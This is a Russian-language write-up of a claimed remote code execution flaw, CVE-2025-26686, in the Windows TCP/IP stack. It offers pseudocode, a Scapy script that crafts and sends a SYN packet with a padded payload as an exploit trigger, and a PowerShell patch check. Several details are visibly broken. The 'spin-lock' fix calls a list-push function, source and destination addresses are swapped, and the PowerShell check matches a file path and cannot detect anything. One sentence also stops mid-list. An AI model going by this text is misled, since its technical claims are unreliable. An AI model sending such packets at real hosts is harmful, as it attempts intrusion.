
Критическая уязвимость удаленного выполнения кода (RCE) в стеке TCP/IP Windows (CVE-2025-26686) оставляет конфиденциальную память разблокированной, позволяя удаленным злоумышленникам захватывать системы. Эксплуатируется через сеть и рискует полным компрометированием системы. Немедленно установите обновление.
Критическая RCE-уязвимость в стеке TCP/IP Windows (CVE-2025-26686) оставляет конфиденциальную память незаблокированной, позволяя удалённым злоумышленникам захватывать системы. Она эксплуатируется по сети и несёт риск полной компрометации. Установите исправление сейчас.
Автор: Mark Mallia
Тип: Удалённое выполнение кода (RCE)
Критичность: Критическая
Вектор атаки: Сетевой
Затронутые системы: Windows 10, 11 и серверные выпуски
В стеке TCP/IP Microsoft обнаружена новая уязвимость, обозначенная как CVE‑2025‑26686. Её причина — отсутствие блокировки критической области памяти, в которой хранятся криптографические ключи, данные сеансов или сетевая конфигурация. Поскольку эта область не защищена во время обработки пакетов, злоумышленник может прочитать или изменить эти данные по сети и получить доступ уровня локального администратора.
Стек TCP/IP в Windows 10/11/Server не захватывает корректную спин-блокировку при записи в определённые буферы, в которых хранятся данные сеансов. Из-за отсутствия блокировки два пакета могут конкурировать друг с другом, что позволяет злоумышленнику внедрить вредоносный код в буфер до того, как исходный процесс завершит запись.
Ключевые моменты:
Уязвимость находится в модуле tcpip.sys, а именно в подпрограмме, обрабатывающей входящие TCP-сегменты. Путь кода, отвечающий за обновление блока «данные сеанса», должен захватывать блокировку перед записью в память. В последних выпусках Windows блокировка пропущена в условной ветке, что может привести к незащищённой записи.
Ниже показан минимальный воспроизводимый пример (псевдокод в стиле C++).
// tcpip.sys – problematic region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
/* lock missing here */
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
В корректно защищённой версии критическая секция была бы защищена спин-блокировкой (interlocked spin‑lock):
// tcpip.sys – fixed region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
_InterlockedPushEntrySList(&SessionLock, &sessionData);
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
Исправление добавляет вызов _InterlockedPushEntrySList, который обеспечивает монопольный доступ к sessionData на время его обновления.
Уязвимость срабатывает, когда до tcpip.sys доходит входящий TCP-сегмент с флагом SYN.
Чтобы пакет попал на этот путь кода, мы задаём следующие поля:
Уровень Поле Типичное значение для CVE‑2025‑26686 IP src IP‑адрес целевого хоста (например, 10.0.0.10) dst IP злоумышленника (например, 192.168.1.2) TCP sport Порт злоумышленника (например, 4444) dport Порт прослушивания целевого сервиса (например, 80 для HTTP) flags «S» для SYN, чтобы попасть в ветку в TcpIpHandleSegment
ip_layer = IP(src="10.0.0.10", dst="192.168.1.2")
tcp_layer = TCP(sport=4444, dport=80, flags="S")
# The payload carries the data that will overwrite sessionData in tcpip.sys.
payload = "ExploitKey" + "A"*512 # 512 bytes of crafted content
pkt = ip_layer / tcp_layer / Raw(load=payload)
На этом этапе можно проверить структуру пакета:
pkt.show()
Вывод покажет такие поля, как IP → src, dst; TCP → sport, dport, flags, а также Raw-нагрузку объёмом 512 байт.
Это именно та последовательность, которую Windows ожидает при обработке входящих сегментов с флагом SYN.
send(pkt)
Эта команда отправляет пакет напрямую с вашей машины в стек TCP/IP целевого хоста.
Если вы запускаете скрипт на Linux-виртуальной машине с установленным Scapy, пакет достигнет Windows-машины и запустит путь кода в tcpip.sys.
Поскольку злоумышленник может изменять память, содержащую криптографические ключи или конфигурацию сеансов, уязвимость позволяет:
Для проверки наличия блокировки в системе можно использовать скрипт быстрой проверки:
# Verify the interlocked entry is present in tcpip.sys
Get-ChildItem -Path C:\Windows\System32\tcpip.sys |
Select-Object Name, @{Name='PatchPresent';Expression={
$_.FullName -match '_InterlockedPushEntrySList' } }
Если PatchPresent возвращает $True, защита на месте.
CVE-2025-26686 — это не просто очередная строка в базе уязвимостей, а тревожный звонок. Когда скомпрометированы такие фундаментальные компоненты, как стек TCP/IP, последствия ощущаются во всех сетях и отраслях. Эта уязвимость напоминает нам, что даже самые доверенные системы требуют постоянного внимания и заботы. Как инженеры и защитники, мы несём ответственность не только за понимание этих уязвимостей, но и за добросовестные действия. Информация, представленная здесь, предназначена исключительно для этического использования: для укрепления защиты, информирования об ответственном подходе к установке исправлений и помощи организациям в защите своих пользователей.